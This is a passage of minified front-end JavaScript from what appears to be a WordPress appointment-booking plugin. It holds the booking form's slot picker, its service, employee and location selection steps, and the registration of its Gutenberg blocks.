s=t.locale||C().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;\"object\"==typeof i&&(i.firstDayOfWeek=C().settings().getFirstDayOfWeek());let n={formatDate:E,inline:!0,locale:i,monthSelectorType:\"static\",showMonths:1};t=jQuery.extend({},n,t);let a=null;return a=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),a}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:C().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=k(this.date),e.time=new B(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent(\"mpa_add_to_cart\",{detail:{cartItem:e,currencyCode:C().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent(\"mpa_view_cart\",{detail:{cart:this.cart,currencyCode:C().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(\".mpa-time-period\").filter(((e,s)=>s.getAttribute(\"date-time\")===t)).trigger(\"click\"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass(\"mpa-loaded\");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return _(\"\u002Fcalendar\u002Ftime\",{service_id:e,employee_in:i.employee_in?i.employee_in.join(\",\"):\"\",location_in:i.location_in?i.location_in.join(\",\"):\"\",date_from:E(t,\"internal\"),date_to:E(s,\"internal\"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error(\"Failed to make time slots in mpa_time_slots().\",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass(\"mpa-loaded\"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray(\"items\")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new B(t).toString(\"public\",'\u003Cspan class=\"mpa-period-end-time\"> - ')+\"\u003C\u002Fspan>\",n=this.cartItem.getService();if(n.isGroupService()){let s=n.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=\" \",i+='\u003Cspan class=\"mpa-slot-capacity\">',i+='\u003Cspan class=\"mpa-slot-capacity-label\">'+n.getQuantityLabel()+\":\u003C\u002Fspan>\",i+=\"&nbsp;\",i+='\u003Cspan class=\"mpa-slot-capacity-number\">'+s+\"\u003C\u002Fspan>\",i+=\"\u003C\u002Fspan>\"}let a=$e(i,{class:\"button button-secondary mpa-time-period\",\"date-time\":t});this.$times.append(a),s++}s>0?this.$times.children(\".mpa-time-period\").on(\"click\",(e=>this.onTime(e,e.currentTarget))):this.$times.text(h(\"Sorry, but we were unable to allocate time slots for the date you selected.\",\"motopress-appointment\"))}getMonthKey(e,t){return t\u003C=8?e+\"-0\"+(t+1):e+\"-\"+(t+1)}getCurrentMonthKey(){if(\"\"!==this.date){let e=k(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return\"2000-01\"}onTime(e,t){this.$times.children(\".mpa-time-period-selected\").removeClass(\"mpa-time-period-selected\"),t.classList.add(\"mpa-time-period-selected\"),this.setProperty(\"time\",t.getAttribute(\"date-time\"))}}class ot extends Ee{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category=\"\",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(\".mpa-service-form\"),this.$categories=this.$element.find(\".mpa-service-category-wrapper\"),this.$services=this.$element.find(\".mpa-service-wrapper\"),this.$employees=this.$element.find(\".mpa-employee-wrapper\"),this.$locations=this.$element.find(\".mpa-location-wrapper\"),this.$selects=this.$element.find(\".mpa-input-wrapper select\"),this.$categoriesSelect=this.$selects.filter(\".mpa-service-category\"),this.$servicesSelect=this.$selects.filter(\".mpa-service\"),this.$employeesSelect=this.$selects.filter(\".mpa-employee\"),this.$locationsSelect=this.$selects.filter(\".mpa-location\"),this.unselectedServiceText=this.$servicesSelect.children('[value=\"\"]').text(),this.unselectedOptionText=this.$selects.filter(\".mpa-optional-select\").first().find(\"option:first\").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return\"service-form\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{category:{type:\"string\",default:\"\"},serviceId:{type:\"integer\",default:0},employeeId:{type:\"integer\",default:0},locationId:{type:\"integer\",default:0}}}addListeners(){super.addListeners(),this.$form.on(\"submit\",this.submitForm.bind(this)),this.$categoriesSelect.on(\"change\",(e=>this.setProperty(\"category\",e.target.value))),this.$servicesSelect.on(\"change\",(e=>this.setProperty(\"serviceId\",e.target.value))),this.$employeesSelect.on(\"change\",(e=>this.setProperty(\"employeeId\",e.target.value))),this.$locationsSelect.on(\"change\",(e=>this.setProperty(\"locationId\",e.target.value)))}isHiddenElementByProp(e){const t=e.attr(\"data-is-hidden\");return void 0!==t&&\"false\"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr(\"data-default\")){const s=this.$categoriesSelect.attr(\"data-default\");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty(\"category\",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass(\"mpa-hide\",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr(\"data-default\")){const s=$(this.$servicesSelect.attr(\"data-default\"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty(\"serviceId\",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass(\"mpa-hide\",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr(\"data-default\")){const s=$(this.$employeesSelect.attr(\"data-default\"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty(\"employeeId\",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass(\"mpa-hide\",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr(\"data-default\")){const s=$(this.$locationsSelect.attr(\"data-default\"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty(\"locationId\",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass(\"mpa-hide\",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr(\"data-default\");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map($)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map($)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map($)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),\"category\"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=j(U(e,Object.keys(t)))}else s=null;const n=W(e,t,s),a=this.category||\"\";Re(this.$categoriesSelect,{\"\":this.unselectedOptionText},n,a),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?\"\":String(this.serviceId);Re(this.$servicesSelect,{\"\":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?\"0\":String(this.employeeId);Re(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?\"0\":String(this.locationId);Re(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:C().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class rt{constructor(e){this.$element=e,this.$message=this.$element.children(\".mpa-message\"),this.cart=new Ce,this.steps=new Se(this.cart),this.load()}setupSteps(){this.steps.addStep(new ot(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new at(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new Ne(this.$element.find(\".mpa-booking-step-cart\"),this.cart)).addStep(new ze(this.$element.find(\".mpa-booking-step-checkout\"),this.cart)),C().settings().isPaymentsEnabled()&&this.steps.addStep(new nt(this.$element.find(\".mpa-booking-step-payment\"),this.cart)),this.steps.addStep(new Ie(this.$element.find(\".mpa-booking-step-booking\"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new Z;Promise.all([e.load(),C().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(h(\"Sorry, there are no services, employees or locations to book.\",\"motopress-appointment\")),this.$message.removeClass(\"mpa-hide\")):this.steps.goToNextStep()}))}show(){this.$element.addClass(\"mpa-loaded\")}}function lt(e,t){if(e===t)return!0;if(\"object\"!=typeof e||null===e||\"object\"!=typeof t||null===t)return!1;let s=Object.keys(e),i=Object.keys(t);if(s.length!==i.length)return!1;for(let n of s)if(!i.includes(n)||!lt(e[n],t[n]))return!1;return!0}const{serverSideRender:pt}=wp,{Component:mt,Fragment:ct}=wp.element,{Disabled:ht,Placeholder:dt,Spinner:ut}=wp.components,{jQuery:gt}=window;const{registerBlockType:yt}=wp.blocks;yt(\"motopress-appointment\u002Fappointment-form\",{title:s.__(\"Appointment Form\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"path\",{d:\"M0,18v6h24v-6H0z M22,22H2v-2h20V22z\"}),wp.element.createElement(\"path\",{d:\"M21,7V1h-3V0h-2v1H8V0H6v1H3v6v9h18V7z M5,3h1v1h2V3h8v1h2V3h1v2H5V3z M5,14V7h14v7H5z\"}),wp.element.createElement(\"rect\",{x:\"7\",y:\"8\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"11\",y:\"8\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"15\",y:\"8\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"7\",y:\"11\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"11\",y:\"11\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"15\",y:\"11\",width:\"2\",height:\"2\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{form_title:{type:\"string\",default:\"\"},show_category:{type:\"boolean\",default:!0},show_service:{type:\"boolean\",default:!0},show_location:{type:\"boolean\",default:!0},show_employee:{type:\"boolean\",default:!0},label_category:{type:\"string\",default:\"\"},label_service:{type:\"string\",default:\"\"},label_location:{type:\"string\",default:\"\"},label_employee:{type:\"string\",default:\"\"},label_unselected:{type:\"string\",default:\"\"},label_option:{type:\"string\",default:\"\"},default_category:{type:\"string\",default:\"\"},default_service:{type:\"string\",default:\"\"},default_location:{type:\"string\",default:\"\"},default_employee:{type:\"string\",default:\"\"},timepicker_columns:{type:\"number\",default:3},show_timepicker_end_time:{type:\"boolean\",default:!1},show_add_to_calendar:{type:\"boolean\",default:!0},form_width:{type:\"string\",default:\"\"},primary_color:{type:\"string\",default:\"\"},primary_bg_color:{type:\"string\",default:\"\"},secondary_color:{type:\"string\",default:\"\"},secondary_bg_color:{type:\"string\",default:\"\"},buttons_padding:{type:\"string\",default:\"\"}},edit:class extends mt{state={initialized:!1};containerRef=React.createRef();observer=null;render(){return wp.element.createElement(ct,null,wp.element.createElement(le,this.props),wp.element.createElement(\"div\",{ref:this.containerRef},wp.element.createElement(ht,null,wp.element.createElement(pt,{block:\"motopress-appointment\u002Fappointment-form\",attributes:this.props.attributes,LoadingResponsePlaceholder:this.handleServerSideRenderLoad}))))}initAppointmentForm=()=>{const e=gt(this.containerRef.current).find(\".appointment-form-shortcode\").last();e.length&&!e.data(\"initialized\")&&(new rt(e),e.data(\"initialized\",!0))};handleAttributesUpdate=()=>{this.setState({initialized:!1},this.initAppointmentForm)};componentDidMount(){this.initAppointmentForm(),this.observeDOMChanges()}componentDidUpdate(e){lt(this.props.attributes,e.attributes)||this.handleAttributesUpdate()}componentWillUnmount(){this.observer&&this.observer.disconnect()}observeDOMChanges(){const e=this.containerRef.current;this.observer=new MutationObserver((e=>{e.forEach((e=>{\"childList\"===e.type&&this.initAppointmentForm()}))})),this.observer.observe(e,{childList:!0,subtree:!0})}handleServerSideRenderLoad=({className:e})=>(setTimeout(this.handleAttributesUpdate,500),wp.element.createElement(dt,{className:e},wp.element.createElement(\"div\",{style:{display:\"flex\",justifyContent:\"center\",width:\"100%\"}},wp.element.createElement(ut,null))))},save:()=>null});const{Component:bt,Fragment:_t}=wp.element,{SelectControl:ft,PanelBody:vt,TextControl:wt,ToggleControl:Ct,RangeControl:St}=wp.components,{InspectorControls:Et}=wp.blockEditor||wp.editor;let kt=class extends bt{render(){const{show_image:e,show_title:t,show_excerpt:i,show_contacts:n,show_social_networks:a,show_additional_info:o,employees:r,locations:l,posts_per_page:p,columns_count:m,orderby:c,order:h}=this.props.attributes,{setAttributes:d}=this.props;return[wp.element.createElement(Et,{key:\"inspector\"},wp.element.createElement(_t,null,wp.element.createElement(vt,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Ct,{label:s.__(\"Show featured image.\",\"motopress-appointment\"),checked:e,onChange:e=>{d({show_image:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show post title.\",\"motopress-appointment\"),checked:t,onChange:e=>{d({show_title:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show post excerpt.\",\"motopress-appointment\"),checked:i,onChange:e=>{d({show_excerpt:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show contact information.\",\"motopress-appointment\"),checked:n,onChange:e=>{d({show_contacts:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show social networks.\",\"motopress-appointment\"),checked:a,onChange:e=>{d({show_social_networks:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show additional information.\",\"motopress-appointment\"),checked:o,onChange:e=>{d({show_additional_info:e})}}),wp.element.createElement(wt,{label:s.__(\"Employees\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of employees that will be shown.\",\"motopress-appointment\"),value:r,onChange:e=>{d({employees:e})}}),wp.element.createElement(wt,{label:s.__(\"Locations\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of locations.\",\"motopress-appointment\"),value:l,onChange:e=>{d({locations:e})}}),wp.element.createElement(St,{label:s.__(\"Posts Per Page\",\"motopress-appointment\"),value:p,onChange:e=>d({posts_per_page:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(St,{label:s.__(\"Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the grid.\",\"motopress-appointment\"),value:m,onChange:e=>d({columns_count:e}),min:0,max:100,placeholder:\"0\"}),wp.element.createElement(ft,{label:s.__(\"Order By\",\"motopress-appointment\"),value:void 0!==c?c:\"none\",onChange:e=>d({orderby:e}),options:[{value:\"none\",label:s.__(\"No order\",\"motopress-appointment\")},{value:\"ID\",label:s.__(\"Post ID\",\"motopress-appointment\")},{value:\"author\",label:s.__(\"Post author\",\"motopress-appointment\")},{value:\"title\",label:s.__(\"Post title\",\"motopress-appointment\")},{value:\"name\",label:s.__(\"Post name (post slug)\",\"motopress-appointment\")},{value:\"date\",label:s.__(\"Post date\",\"motopress-appointment\")},{value:\"modified\",label:s.__(\"Last modified date\",\"motopress-appointment\")},{value:\"rand\",label:s.__(\"Random order\",\"motopress-appointment\")},{value:\"relevance\",label:s.__(\"Relevance\",\"motopress-appointment\")},{value:\"menu_order\",label:s.__(\"Page order\",\"motopress-appointment\")},{value:\"menu_order title\",label:s.__(\"Page order and post title\",\"motopress-appointment\")}]}),\"none\"!==c&&wp.element.createElement(ft,{label:s.__(\"Order\",\"motopress-appointment\"),value:void 0!==h?h:\"desc\",onChange:e=>d({order:e}),options:[{value:\"desc\",label:s.__(\"DESC\",\"motopress-appointment\")},{value:\"asc\",label:s.__(\"ASC\",\"motopress-appointment\")}]}))))]}};const{serverSideRender:Pt}=wp,{Component:It,Fragment:Tt}=wp.element,{Disabled:$t}=wp.components;const{registerBlockType:Dt}=wp.blocks;Dt(\"motopress-appointment\u002Femployees-list\",{title:s.__(\"Employees List\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:\"boolean\",default:!0},show_title:{type:\"boolean\",default:!0},show_excerpt:{type:\"boolean\",default:!0},show_contacts:{type:\"boolean\",default:!0},show_social_networks:{type:\"boolean\",default:!0},show_additional_info:{type:\"boolean\",default:!0},employees:{type:\"string\",default:\"\"},locations:{type:\"string\",default:\"\"},posts_per_page:{type:\"number\",default:3},columns_count:{type:\"number\",default:3},orderby:{type:\"string\",default:\"none\"},order:{type:\"string\",default:\"desc\"}},edit:class extends It{constructor(e){super(...arguments)}render(){return wp.element.createElement(Tt,null,wp.element.createElement(kt,this.props),wp.element.createElement($t,null,wp.element.createElement(Pt,{block:\"motopress-appointment\u002Femployees-list\",attributes:this.props.attributes})))}},save:()=>null});const{Component:xt,Fragment:Mt}=wp.element,{SelectControl:At,PanelBody:Bt,TextControl:Lt,ToggleControl:Ft,RangeControl:Rt}=wp.components,{InspectorControls:Ot}=wp.blockEditor||wp.editor;let Nt=class extends xt{render(){const{show_image:e,show_title:t,show_excerpt:i,locations:n,categories:a,posts_per_page:o,columns_count:r,orderby:l,order:p}=this.props.attributes,{setAttributes:m}=this.props;return[wp.element.createElement(Ot,{key:\"inspector\"},wp.element.createElement(Mt,null,wp.element.createElement(Bt,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Ft,{label:s.__(\"Show featured image.\",\"motopress-appointment\"),checked:e,onChange:e=>{m({show_image:e})}}),wp.element.createElement(Ft,{label:s.__(\"Show post title.\",\"motopress-appointment\"),checked:t,onChange:e=>{m({show_title:e})}}),wp.element.createElement(Ft,{label:s.__(\"Show post excerpt.\",\"motopress-appointment\"),checked:i,onChange:e=>{m({show_excerpt:e})}}),wp.element.createElement(Lt,{label:s.__(\"Locations\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of locations.\",\"motopress-appointment\"),value:n,onChange:e=>{m({locations:e})}}),wp.element.createElement(Lt,{label:s.__(\"Categories\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of categories that will be shown.\",\"motopress-appointment\"),value:a,onChange:e=>{m({categories:e})}}),wp.element.createElement(Rt,{label:s.__(\"Posts Per Page\",\"motopress-appointment\"),value:o,onChange:e=>m({posts_per_page:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(Rt,{label:s.__(\"Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the grid.\",\"motopress-appointment\"),value:r,onChange:e=>m({columns_count:e}),min:0,max:100,placeholder:\"0\"}),wp.element.createElement(At,{label:s.__(\"Order By\",\"motopress-appointment\"),value:void 0!==l?l:\"none\",onChange:e=>m({orderby:e}),options:[{value:\"none\",label:s.__(\"No order\",\"motopress-appointment\")},{value:\"ID\",label:s.__(\"Post ID\",\"motopress-appointment\")},{value:\"author\",label:s.__(\"Post author\",\"motopress-appointment\")},{value:\"title\",label:s.__(\"Post title\",\"motopress-appointment\")},{value:\"name\",label:s.__(\"Post name (post slug)\",\"motopress-appointment\")},{value:\"date\",label:s.__(\"Post date\",\"motopress-appointment\")},{value:\"modified\",label:s.__(\"Last modified date\",\"motopress-appointment\")},{value:\"rand\",label:s.__(\"Random order\",\"motopress-appointment\")},{value:\"relevance\",label:s.__(\"Relevance\",\"motopress-appointment\")},{value:\"menu_order\",label:s.__(\"Page order\",\"motopress-appointment\")},{value:\"menu_order title\",label:s.__(\"Page order and post title\",\"motopress-appointment\")}]}),\"none\"!==l&&wp.element.createElement(At,{label:s.__(\"Order\",\"motopress-appointment\"),value:void 0!==p?p:\"desc\",onChange:e=>m({order:e}),options:[{value:\"desc\",label:s.__(\"DESC\",\"motopress-appointment\")},{value:\"asc\",label:s.__(\"ASC\",\"motopress-appointment\")}]}))))]}};const{serverSideRender:Ht}=wp,{Component:Vt,Fragment:zt}=wp.element,{Disabled:qt}=wp.components;const{registerBlockType:Ut}=wp.blocks;Ut(\"motopress-appointment\u002Flocations-list\",{title:s.__(\"Locations List\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M12,1C9.79,1,8,2.79,8,5s4,8,4,8s4-5.79,4-8S14.21,1,12,1z M12,7c-1.1,0-2-0.9-2-2s0.9-2,2-2s2,0.9,2,2S13.1,7,12,7z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:\"boolean\",default:!0},show_title:{type:\"boolean\",default:!0},show_excerpt:{type:\"boolean\",default:!0},locations:{type:\"string\",default:\"\"},categories:{type:\"string\",default:\"\"},posts_per_page:{type:\"number\",default:3},columns_count:{type:\"number\",default:3},orderby:{type:\"string\",default:\"none\"},order:{type:\"string\",default:\"desc\"}},edit:class extends Vt{constructor(){super(...arguments)}render(){return wp.element.createElement(zt,null,wp.element.createElement(Nt,this.props),wp.element.createElement(qt,null,wp.element.createElement(Ht,{block:\"motopress-appointment\u002Flocations-list\",attributes:this.props.attributes})))}},save:()=>null});const{Component:jt,Fragment:Wt}=wp.element,{SelectControl:Gt,PanelBody:Yt,TextControl:Qt,ToggleControl:Kt,RangeControl:Zt}=wp.components,{InspectorControls:Jt}=wp.blockEditor||wp.editor;let Xt=class extends jt{render(){const{show_image:e,show_count:t,show_description:i,parent:n,categories:a,exclude_categories:o,hide_empty:r,depth:l,number:p,columns_count:m,orderby:c,order:h}=this.props.attributes,{setAttributes:d}=this.props;return[wp.element.createElement(Jt,{key:\"inspector\"},wp.element.createElement(Wt,null,wp.element.createElement(Yt,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Kt,{label:s.__(\"Show featured 